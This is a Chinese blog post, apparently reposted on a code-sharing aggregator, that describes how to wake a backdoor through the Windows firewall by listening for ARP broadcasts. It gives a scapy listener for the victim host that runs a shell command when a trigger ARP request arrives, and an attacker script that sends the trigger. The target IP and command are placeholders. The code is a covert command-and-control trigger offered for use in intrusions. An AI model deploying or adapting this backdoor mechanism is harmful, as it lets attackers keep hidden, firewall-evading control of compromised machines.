ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

穿透Windows防火墙唤醒后门

2021-06-02 19:30:37  阅读:198  来源: 互联网

标签:ARP arp pkt 协议 Windows 主机 防火墙 FF 唤醒


背景

在渗透测试过程中,我们常常会遇到这种情况,目标上的木马被杀了,留了正向后门,却因为windows防火墙的原因,无法唤醒。所以我们就需要一种方法,来bypass防火墙唤醒我们的后门或者作为后门。

技术细节

选择协议

首先我们要远程唤醒,必然是要选择一种网络协议的。为了满足我们的需求,传输层及以传输层以上的协议是必然不能选择的。物理层和数据链路层是我们无法控制的。所以我们只能选择网络层的协议。网络层的协议(IP/ICMP/ARP/RARP/BGP)有以上协议供我们选择。

ARP协议(局域网中的工作情况)

ARP协议是设计用来通过网络地址(ip)定位MAC地址。在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。在windows操作系统上使用arp -a即可看到自己的arp缓存表。

ARP报文结构

arp报文结构

如果目的端主机的硬件地址是FF:FF:FF:FF:FF:FF,那么这是一个以太网广播地址。电缆上的每个以太网接口都要接收这个数据帧并对它进行处理。

后门设计

ARP默认防火墙是放行的,我们在受害者机器上监听ARP广播,如果有我们的特征码传过来,则唤醒后门进行下一步操作。在此我们使用scapy进行模拟。

listener.py
from __future__ import print_function
from scapy.all import *
import sys

def arp_display(pkt):
 if pkt[ARP].op == 1: # who-has (request)
 if pkt[ARP].pdst == 'xxxxxxx':
 os.system('xxxxx')
 return 'Request: {} is asking about {}'.format(pkt[ARP].psrc, pkt[ARP].pdst)
 if pkt[ARP].op == 2: # is-at (response)
 return '*Response: {} has address {}'.format(pkt[ARP].hwsrc, pkt[ARP].psrc)

sniff(prn=arp_display, filter='arp', store=0, count=100)


hacker.py
from scapy.all import *
def ip1(ip):
 pkt = send(ARP(op=ARP.who_has, psrc="hacker", pdst=ip),loop=1)
 x = sniff(filter="arp", count=10)
 print (x.summary())
 print ("done")

ip1("xxxx")

在受害者上运行listener.py,监听arp广播,攻击者运行hacker.py,广播寻找一个ip地址,受害者监听到这个广播地址,则会唤醒后门。

总结

在渗透测试的过程中,只要有信息交换的地方,都有可能被设计为C&C或者用来唤醒后门或者用来偷数据,比如360研究的ghost tunnel,比如arp。 极简简约动态分割线本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解解码未来活动banner

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

指纹识别简约卡片动态二维码 (2)

引导分享点赞在看GIF引导三连

标签:ARP,arp,pkt,协议,Windows,主机,防火墙,FF,唤醒
来源: https://blog.csdn.net/weixin_40418457/article/details/117479818

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有